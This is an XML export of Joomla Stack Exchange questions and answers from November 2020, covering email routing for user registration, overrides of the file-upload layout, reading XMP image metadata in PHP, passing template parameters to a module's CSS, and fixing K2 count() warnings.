  <row Id="28661" PostTypeId="2" ParentId="16741" CreationDate="2020-11-17T01:56:42.790" Score="1" Body="&lt;p&gt;We had the same issue yesterday along with another issue which was part of the same problem.&lt;/p&gt;&#xA;&lt;p&gt;We had tried everything mentioned above then decided to ring the hosting company. This was a good move because they pointed out that we had an email routing issue.&lt;/p&gt;&#xA;&lt;p&gt;Newly registered users didn't receive an email.&#xA;The answer was in the Hosting cPanel under email routing. The email routing was set to automatically detect if we were using a remote (hosted elsewhere) email or a local (on your hosting) email address.&lt;/p&gt;&#xA;&lt;p&gt;We are using an email address hosted by Google which means the email routing is &amp;quot;remote&amp;quot;.&#xA;As soon as the setting was changed to Remote instead of Automatic the new users received the email.&lt;/p&gt;&#xA;&lt;p&gt;If you are using a locally hosted email, try changing the settings to local instead of automatic.&lt;/p&gt;&#xA;&lt;p&gt;These settinga can be found in the Hosting cPanel under emails / email routing or under MX Entry.&lt;/p&gt;&#xA;&lt;p&gt;The other part of the problem was that the administrator was not receiving the email to activate the new user account once the new users email had been confirmed.&lt;/p&gt;&#xA;&lt;p&gt;This problem came from the superuser account not having Receive System emails enabled under the user settings (something simple that took forever to find).&lt;/p&gt;&#xA;" OwnerUserId="14660" LastEditorUserId="12352" LastEditDate="2020-11-17T05:27:34.277" LastActivityDate="2020-11-17T05:27:34.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28662" PostTypeId="2" ParentId="28648" CreationDate="2020-11-17T08:24:50.390" Score="1" Body="&lt;p&gt;The Joomla 4 workflow allows you to replace the static states (unpublished, published, trashed and archived) with your own custom solution. When you assign a workflow to a category of articles, this would apply both to new and existing content. That said, you may have issues if the state of the existing article does not exist in the new workflow applied to that category, and presumably this is where the default state would apply when you next edit it.&lt;/p&gt;&#xA;&lt;p&gt;What you are suggesting with regards to article versions is an interesting idea, but it seems to be more of a feature request rather than something that is currently possible with an out of the box Joomla 4 install. It does seem like an idea that could be pursued by a third party extension developer.&lt;/p&gt;&#xA;" OwnerUserId="14662" LastActivityDate="2020-11-17T08:24:50.390" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28663" PostTypeId="1" AcceptedAnswerId="28667" CreationDate="2020-11-17T18:45:37.797" Score="1" ViewCount="324" Body="&lt;p&gt;Joomla prints a short notice regarding the &lt;em&gt;Maximum upload size&lt;/em&gt; when including a file upload field with the standard form field &lt;code&gt;file&lt;/code&gt;, see code and image below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;    name=&amp;quot;image&amp;quot;&#xA;    type=&amp;quot;file&amp;quot;&#xA;    label=&amp;quot;COM_EXAMPLE_PICTURE_LABEL&amp;quot;&#xA;    description=&amp;quot;COM_EXAMPLE_PICTURE_DESC&amp;quot; &#xA;    accept=&amp;quot;image/*&amp;quot;&#xA;/&amp;gt;&#xA;&amp;lt;field&#xA;    name=&amp;quot;MAX_FILE_SIZE&amp;quot;&#xA;    type=&amp;quot;hidden&amp;quot;&#xA;    default=&amp;quot;2097152&amp;quot;&#xA;/&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/qu286.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/qu286.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The Joomla docs for &lt;a href=&quot;https://docs.joomla.org/Special:MyLanguage/File_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;file&lt;/a&gt; mentions adding a hidden field to set the maximum file size. It's not entirely clear if Joomla does anything with that field or if all the logic needs to implemented in the controller (e.g. in the &lt;code&gt;save&lt;/code&gt; method).&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;You can put a soft limit file size by adding a hidden field with name=&amp;quot;MAX_FILE_SIZE&amp;quot; and value the maximum allowed bytes which is handled by php, but you must also handle it in your code with or without it.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;However, that wouldn't change the way the field is displayed. Is there a way to show a different maximum file size?&lt;/p&gt;&#xA;&lt;p&gt;It looks like that message is set in &lt;code&gt;layouts/joomla/form/field/file.php&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;&#xA;$maxSize = JHtml::_('number.bytes', JUtility::getMaxUploadSize());&#xA;&#xA;...&#xA;&#xA;    &amp;lt;?php echo JText::sprintf('JGLOBAL_MAXIMUM_UPLOAD_SIZE_LIMIT', $maxSize); ?&amp;gt;&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;PS&lt;/strong&gt;: I don't what to change the &lt;code&gt;upload_max_filesize&lt;/code&gt; for PHP in the &lt;code&gt;php.ini&lt;/code&gt;, just for this particular form.&lt;/p&gt;&#xA;&lt;h2&gt;Update&lt;/h2&gt;&#xA;&lt;p&gt;Using the approach suggested by &lt;a href=&quot;https://joomla.stackexchange.com/questions/28663/how-adjust-maximum-upload-size-indicator-for-file-upload/28667#28667&quot;&gt;Lodder&lt;/a&gt;, I added a file &lt;code&gt;components/com_YOURCOMP/layouts/joomla/form/field/file.php&lt;/code&gt; to my component and copied the content  of &lt;code&gt;layouts/joomla/form/field/file.php&lt;/code&gt;. Then I replaced the line&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$maxSize = JHtml::_('number.bytes', JUtility::getMaxUploadSize());&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;by&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$xmlData = simplexml_load_file(JPATH_COMPONENT . '/models/forms/add-form.xml');&#xA;&#xA;$fieldMaxSize = $xmlData-&amp;gt;xpath('//field[@name=&amp;quot;MAX_FILE_SIZE&amp;quot;]');&#xA;&#xA;if (isset($fieldMaxSize[0]['default']) &amp;amp;&amp;amp; !empty($fieldMaxSize[0]['default'])) &#xA;{&#xA;    $sizeValue = $fieldMaxSize[0]['default'];&#xA;} &#xA;else &#xA;{&#xA;    $sizeValue = JUtility::getMaxUploadSize();&#xA;}&#xA;$maxSize = JHtml::_('number.bytes', $sizeValue);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="11618" LastEditorUserId="11618" LastEditDate="2020-11-19T07:21:36.300" LastActivityDate="2020-11-19T09:05:21.563" Title="How adjust &quot;Maximum upload size&quot; indicator for file upload?" Tags="|form|form-fields-types|file-upload|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="28664" PostTypeId="1" CreationDate="2020-11-17T22:10:21.277" Score="0" ViewCount="53" Body="&lt;p&gt;I've seen blank screen with only &amp;quot;Error&amp;quot; before, but none was like this time.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;It only happens when I turn on Debug from Global Configuration; after turning it off, it happens no more;&lt;/li&gt;&#xA;&lt;li&gt;If I set error reporting to maximum, the error message turns from just &amp;quot;Error&amp;quot; to &amp;quot;Error: Unclosed comment.: Unclosed comment.&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;There is no error logged in my Apache system.&lt;/li&gt;&#xA;&lt;li&gt;I cloned the whole server to a new IP, the symptom persists.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I have a backup of this site about 1 month ago, and it doesn't have this problem. I uninstalled all of the extensions that I remember were installed during this period, but the error still occurs.&#xA;Does anyone have any idea of what may cause this issue? And can someone explain to me why this critical error is not logged in my Apache system?&lt;/p&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2020-11-17T22:10:21.277" Title="Joomla showing a blank screen with only &quot;Error&quot; on it after turning on Debug" Tags="|error-handling|fatal-error|debug|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28666" PostTypeId="1" AcceptedAnswerId="28689" CreationDate="2020-11-18T11:42:36.877" Score="2" ViewCount="1100" Body="&lt;p&gt;I am in the proces of writing a Joomla extension that utilizes metadata embedded in image files in IPTC, EXIF and XMP chunks. In particular, I want to gain access to &amp;quot;Title&amp;quot;, &amp;quot;Tags&amp;quot;, &amp;quot;Date Taken&amp;quot; and &amp;quot;GPS coordinates&amp;quot;. The code embedded below is written by &lt;a href=&quot;https://stackoverflow.com/users/2468189/luk%C3%A1%C5%A1-%C5%98%C3%A1dek&quot;&gt;Lukáš Řádek&lt;/a&gt; and appears in &lt;a href=&quot;https://stackoverflow.com/questions/1578169/how-can-i-read-xmp-data-from-a-jpg-with-php&quot;&gt;https://stackoverflow.com/questions/1578169/how-can-i-read-xmp-data-from-a-jpg-with-php&lt;/a&gt;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;    libxml_use_internal_errors(true);&#xA;&#xA;    function getXmpData($filename, $chunk_size = 50000) {      &#xA;       $buffer = NULL;&#xA;       if (($file_pointer = fopen($filename, 'r')) === FALSE) {&#xA;           throw new RuntimeException('Could not open file for reading');&#xA;      }&#xA;&#xA;      $chunk = fread($file_pointer, $chunk_size);&#xA;      if (($posStart = strpos($chunk, '&amp;lt;x:xmpmeta')) !== FALSE) {&#xA;          $buffer = substr($chunk, $posStart);&#xA;          $posEnd = strpos($buffer, '&amp;lt;/x:xmpmeta&amp;gt;');&#xA;          $buffer = substr($buffer, 0, $posEnd + 12);&#xA;      }&#xA;&#xA;    fclose($file_pointer);&#xA;&#xA;    // recursion here&#xA;    if(!strpos($buffer, '&amp;lt;/x:xmpmeta&amp;gt;')){&#xA;        $buffer = getXmpData($filename, $chunk_size*2);&#xA;    }&#xA;&#xA;    return $buffer;&#xA;    }&#xA;&#xA;    $xmp_data = getXmpData('test.jpg',1024);&#xA;    $xmp    = simplexml_load_string($xmp_data);&#xA;    if ($xmp === false) {&#xA;        echo &amp;quot;Failed loading XML\n&amp;quot;;&#xA;        foreach(libxml_get_errors() as $error) {&#xA;            echo &amp;quot;\t&amp;quot;, $error-&amp;gt;message;&#xA;        }&#xA;    }&#xA;&#xA;    $mystring = $xmp-&amp;gt;asXML();&#xA;    echo &amp;quot;$mystring\n&amp;quot;;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It works like a charm but it would be hard to use in a general Joomla-extension because such an extension would have to address older as well as coming industry standards for image metadata encoding. Of course you cannot predict future standards but you can make life easier on yourself by utilizing packages/toolkits maintained by others (&amp;quot;Off-the-shelf-products&amp;quot;). Such a toolkit by Adobe is mentioned in &lt;a href=&quot;https://en.wikipedia.org/wiki/Extensible_Metadata_Platform&quot; rel=&quot;nofollow noreferrer&quot;&gt;Wikipedia: Extensible Metadata Platform&lt;/a&gt; but none of the implementations are in PHP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 1)&lt;/strong&gt;&#xA;This where my skillset reaches its limit. Surely, there must be ways to compile such a toolset from Adobe into a format where it can be invoked from PHP? Please advise.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 2)&lt;/strong&gt;&#xA;I know how to build Joomla-extension packages using PHP/HTML/CSS/Javascript/Mysql and to implement MVC architecture etc. thanks to the wonderful lessons at &lt;a href=&quot;https://docs.joomla.org/J3.x:Developing_an_MVC_Component/Introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;Developing an MVC Component&lt;/a&gt; but how would you include the solution from Question 1) into a Joomla extension and make it executable on Linux as well as. Windows web hotels? I can live with the exclusion of Windows. If not possible at all - see Question 3&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Question 3&lt;/strong&gt;&#xA;If not possible to embed 3rd party compiled code in Joomla extensions, would you consider the possibility of installing compiled libraries on general web hosting servers and making them available to PHP/Joomla?&lt;/p&gt;&#xA;&lt;p&gt;Sometimes it is harder to phrase the question than to find the answer. If you do not believe me, read the story of &lt;a href=&quot;https://en.wikipedia.org/wiki/Phrases_from_The_Hitchhiker%27s_Guide_to_the_Galaxy#Answer_to_the_Ultimate_Question_of_Life,_the_Universe,_and_Everything_(42)&quot; rel=&quot;nofollow noreferrer&quot;&gt;&amp;quot;42&amp;quot; in &amp;quot;Hitchikers guide to the Galaxy&amp;quot;&lt;/a&gt; :-)&lt;/p&gt;&#xA;" OwnerUserId="14657" LastEditorUserId="2082" LastEditDate="2020-11-27T19:57:03.317" LastActivityDate="2020-12-09T15:55:40.273" Title="How to get access to image metadata from PHP?" Tags="|joomla-3.x|php|extensions|images|server-configuration|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28667" PostTypeId="2" ParentId="28663" CreationDate="2020-11-19T04:30:18.937" Score="2" Body="&lt;p&gt;If you'd like to perform this override for all &lt;strong&gt;file&lt;/strong&gt; form fields only within your component, then you can override the layout at component level.&lt;/p&gt;&#xA;&lt;p&gt;To do this copy the following layout:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;layouts/joomla/form/field/file.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;components/com_YOURCOMP/layouts/joomla/form/field/file.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;If the form field reside in the administrator views, then copy the layout to:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;administrator/components/com_YOURCOMP/layouts/joomla/form/field/file.php&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Once done, you can make the necessary changes to the layout without it affecting the visual aspects anywhere else on the site.&lt;/p&gt;&#xA;" OwnerUserId="168" LastEditorUserId="11618" LastEditDate="2020-11-19T09:05:21.563" LastActivityDate="2020-11-19T09:05:21.563" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28668" PostTypeId="1" CreationDate="2020-11-19T20:31:36.567" Score="3" ViewCount="148" Body="&lt;p&gt;Someone at stackoverflow recommend I ask the question here, apologies if this is considered cross-posting...&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;OVERVIEW&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;I am developing a set of custom templates and a set of custom modules.&lt;/p&gt;&#xA;&lt;p&gt;The templates will be different, but their parameters (defined in templateDetails.xml) will remain identical.&lt;/p&gt;&#xA;&lt;p&gt;I want the default (site) template to send its parameter values to an intermediary file, variables.css.php&lt;/p&gt;&#xA;&lt;p&gt;variables.css.php currently resides in ../media/cms/css (Not sure if it needs to be someplace else)&lt;/p&gt;&#xA;&lt;p&gt;The purpose for this is so that even if I change between templates, the modules can still find the parameter values in the same location.&lt;/p&gt;&#xA;&lt;p&gt;Again, the parameter values may change, but the parameters themselves (color1, color2, etc) will not.&lt;/p&gt;&#xA;&lt;p&gt;I have included a diagram which will hopefully help illustrate:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/elA5d.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/elA5d.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I want the module's backend to get the parameter values, so an administrator can see what color they are picking when they are configuring the modules.&lt;/p&gt;&#xA;&lt;p&gt;That is, a button’s background color in the module’s config page will match the color defined in templateDetails.xml.&lt;/p&gt;&#xA;&lt;p&gt;I have built a working template.&lt;/p&gt;&#xA;&lt;p&gt;I have built variables.css.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;define( '_JEXEC', 1 );&#xA;define( '_VALID_MOS', 1 );&#xA;define( 'JPATH_BASE', realpath(dirname(__FILE__).'/../../..' ));&#xA;define( 'DS', DIRECTORY_SEPARATOR );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'defines.php' );&#xA;require_once ( JPATH_BASE .DS.'includes'.DS.'framework.php' );&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;// $app-&amp;gt;initialise();&#xA;$defaultTemplate = $app-&amp;gt;getTemplate(true);&#xA;$params = $defaultTemplate-&amp;gt;params;&#xA;&#xA;header(&amp;quot;Content-Type:text/css; charset=UTF-8&amp;quot;);&#xA;header(&amp;quot;Cache-Control:must-revalidate&amp;quot;);&#xA;?&amp;gt;&#xA;&#xA;.bg01 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color01'); ?&amp;gt;; }&#xA;.bg02 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color02'); ?&amp;gt;; }&#xA;.bg03 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color03'); ?&amp;gt;; }&#xA;.bg04 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color04'); ?&amp;gt;; }&#xA;.bg05 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color05'); ?&amp;gt;; }&#xA;.bg06 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color06'); ?&amp;gt;; }&#xA;.bg07 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color07'); ?&amp;gt;; }&#xA;.bg08 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color08'); ?&amp;gt;; }&#xA;.bg09 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color09'); ?&amp;gt;; }&#xA;.bg10 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color10'); ?&amp;gt;; }&#xA;.bg11 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color11'); ?&amp;gt;; }&#xA;.bg12 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color12'); ?&amp;gt;; }&#xA;.bg13 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color13'); ?&amp;gt;; }&#xA;.bg14 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color14'); ?&amp;gt;; }&#xA;.bg15 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color15'); ?&amp;gt;; }&#xA;.bg16 {text-shadow: 0px 0px 4px #000; color: #fff; background-color:&amp;lt;?php echo $params-&amp;gt;get('color16'); ?&amp;gt;; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And I have built a working module. The module loads variables.css.php using &lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=873247#p3266209&quot; rel=&quot;nofollow noreferrer&quot;&gt;this trick&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;THE PROBLEM&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The problem is when I go into the module’s backend, the config buttons look like this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/j8U1B.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/j8U1B.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When they should look like this&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LdHfZ.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LdHfZ.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I use Chrome to inspect the module’s config page I find the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.bg01 {&#xA;    text-shadow: 0px 0px 4px #000;&#xA;    color: #fff;&#xA;    background-color: ;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I know that the module is loading variables.css.php -- because it is showing the text-shadow and color values. However background-color is blank.&lt;/p&gt;&#xA;&lt;p&gt;Which means the parameter values in variables.css.php are empty.&lt;/p&gt;&#xA;&lt;p&gt;This is where I need help.&lt;/p&gt;&#xA;&lt;p&gt;I assume the code (above the css) in variables.css.php is incorrect.&lt;/p&gt;&#xA;&lt;p&gt;Any help is greatly appreciated!&lt;/p&gt;&#xA;" OwnerUserId="14666" LastActivityDate="2023-12-10T09:08:36.053" Title="Unable to get (site) template params from my module's backend" Tags="|php|templates|custom-module|xml|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28669" PostTypeId="2" ParentId="28643" CreationDate="2020-11-20T06:53:55.750" Score="0" Body="&lt;p&gt;Notepad++ has a great find/replace function that works across directories. Any automated changes to code should be handled very carefully.&lt;/p&gt;&#xA;" OwnerUserId="2082" LastActivityDate="2020-11-20T06:53:55.750" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28670" PostTypeId="1" AcceptedAnswerId="29194" CreationDate="2020-11-20T11:48:25.587" Score="2" ViewCount="45" Body="&lt;p&gt;I have a joomla site and wish to run a piece of vanilla Java-script (that I wrote) on this site.&lt;/p&gt;&#xA;&lt;p&gt;The java script requires access to an API (which I have made).&lt;/p&gt;&#xA;&lt;p&gt;I would much rather not have to implement a separate JWT system for this API as I anticipate technical problems syncing the two sets of permissions on the api and on the joomla site.&lt;/p&gt;&#xA;&lt;p&gt;If I set up the API as a reverse proxy from the apache server can I use a custom joomla system plugin to control the access to the API?  A solution as described in this question perhaps?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5388/how-to-restrict-access-to-custom-component-views&quot;&gt;How to restrict access to custom component views?&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Or will this not work?  I don't really understand joomla enough to tell.&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2021-05-22T11:08:32.743" Title="Can Joomla control access to a separate API which is behind a reverse proxy?" Tags="|restful-api|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28671" PostTypeId="2" ParentId="28668" CreationDate="2020-11-20T13:14:58.383" Score="0" Body="&lt;p&gt;After much frustration I finally traced the problem to a typo in the templateDetails.xml.  Once I fixed that, the code/method I outlined above worked, and the button styling in the module's backend appeared in all its colorful glory.&lt;/p&gt;&#xA;" OwnerUserId="14666" LastEditorUserId="14666" LastEditDate="2020-11-24T20:28:44.537" LastActivityDate="2020-11-24T20:28:44.537" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28672" PostTypeId="1" CreationDate="2020-11-21T23:04:30.660" Score="1" ViewCount="91" Body="&lt;p&gt;In the Joomla Core Extensions we have a parameter for selecting if custom fields are used in an extension or not. For example here: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_contact/config.xml#L369&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/administrator/components/com_contact/config.xml#L369&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I wonder if I need this in my custom extension, too?&lt;/p&gt;&#xA;&lt;p&gt;What is the reason for this parameter? You can just leave the custom fields unused.&lt;/p&gt;&#xA;" OwnerUserId="7387" LastEditorUserId="12352" LastEditDate="2020-11-24T12:41:14.427" LastActivityDate="2020-11-24T12:41:14.427" Title="Reason for parameter for using custom fields in configuration" Tags="|development|com-fields|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28674" PostTypeId="1" AcceptedAnswerId="28681" CreationDate="2020-11-22T11:45:08.090" Score="1" ViewCount="282" Body="&lt;p&gt;For my latest project I need an api that responds to a 'POST' request by returning json text that depends on the content of the 'POST'.&lt;/p&gt;&#xA;&lt;p&gt;I have made a version of this in loopback, however I can't think of a good way to secure this API as part of the site (hence my previous question).&lt;/p&gt;&#xA;&lt;p&gt;I have noticed that there are several joomla extensions that provide API access to a joomla site.  Do any of these have capabilities to be customised in the manner I describe above?&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2020-11-24T12:15:51.377" Title="How can I make a custom controller for a Joomla based api?" Tags="|joomla-api|restful-api|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28675" PostTypeId="2" ParentId="4204" CreationDate="2020-11-22T12:32:18.003" Score="1" Body="&lt;p&gt;Why not use this?&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;basename(JPATH_COMPONENT);&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="14670" LastEditorUserId="12352" LastEditDate="2020-11-22T22:38:34.693" LastActivityDate="2020-11-22T22:38:34.693" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28676" PostTypeId="1" CreationDate="2020-11-23T07:17:55.973" Score="0" ViewCount="530" Body="&lt;blockquote&gt;&#xA;&lt;p&gt;Warning: count(): Parameter must be an array or an object that implements Countable in /home/......./archi/html/com_k2/templates/default/item.php on line 398&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;pre&gt;&lt;code&gt; 396 &amp;lt;!-- K2 Plugins: K2BeforeDisplayContent --&amp;gt;&#xA; 397 &amp;lt;?php echo $this-&amp;gt;item-&amp;gt;event-&amp;gt;K2BeforeDisplayContent; ?&amp;gt;&#xA; 398 &amp;lt;?php if($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('itemExtraFields') &amp;amp;&amp;amp; count($this-&amp;gt;item-&amp;gt;extra_fields)): ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Тhis error appears in the blog part and in particular by entering the separate stratum. Not in the general review, but in the specific article.&lt;/p&gt;&#xA;" OwnerUserId="14672" LastEditorUserId="12352" LastEditDate="2020-11-23T11:54:54.357" LastActivityDate="2020-11-27T07:43:28.143" Title="Problem with K2 Plugins - Joomla - Warning: count(): Parameter must be an array" Tags="|joomla-3.x|php|k2|" AnswerCount="3" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="28677" PostTypeId="2" ParentId="28676" CreationDate="2020-11-23T17:52:40.710" Score="0" Body="&lt;p&gt;&lt;code&gt;$this-&amp;gt;item-&amp;gt;extra_fields&lt;/code&gt; is most likely empty/null and therefore not an array or object, so PHP cannot &lt;code&gt;count&lt;/code&gt; it.&lt;/p&gt;&#xA;&lt;p&gt;I believe you can add an additional check to see if it's empty and set, like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (!empty($this-&amp;gt;item-&amp;gt;extra_fields) &amp;amp;&amp;amp; isset($this-&amp;gt;item-&amp;gt;extra_fields)) : ?&amp;gt;&#xA;    &amp;lt;?php if ($this-&amp;gt;item-&amp;gt;params-&amp;gt;get('itemExtraFields') &amp;amp;&amp;amp; count($this-&amp;gt;item-&amp;gt;extra_fields)) : ?&amp;gt;&#xA;        // Do something&#xA;    &amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="168" LastActivityDate="2020-11-23T17:52:40.710" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="28678" PostTypeId="1" AcceptedAnswerId="28690" CreationDate="2020-11-23T23:26:46.230" Score="1" ViewCount="112" Body="&lt;p&gt;We have a weird problem where at some point our menu styles dropdown has disappeared from all menu items.  We can see it in our old site, and we're pretty sure it used to be there, and we're not really sure when it disappeared or how to get it back.  We can change it in our template by assigning it, so that's helpful, but for one page it's not working and we wondered if this was the reason.&lt;/p&gt;&#xA;&lt;p&gt;In any case, we want our Joomla! working properly.&lt;/p&gt;&#xA;&lt;p&gt;I have checked Admin Template Overrides there are none for menu items.&#xA;I have used Joomla to reinstall Joomla using the Joomla updater.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/hAuIm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/hAuIm.png&quot; alt=&quot;Missing Teamplte Style Option&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vxAhJ.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vxAhJ.png&quot; alt=&quot;With the Template Style option&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2020-11-25T14:18:41.940" LastActivityDate="2020-11-27T21:41:18.273" Title="The template style option is missing from all menu items" Tags="|joomla-3.x|templates|administrator|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28679" PostTypeId="1" AcceptedAnswerId="28912" CreationDate="2020-11-24T09:22:01.643" Score="1" ViewCount="194" Body="&lt;p&gt;I'm using articles anywhere to load in certain articles on certain positions in my template, but the problem is is that my custom fields are not loaded in. Does anyone know how to achieve this?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2021-02-26T08:57:35.077" Title="Custom fields with Articles Anywhere" Tags="|articles|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
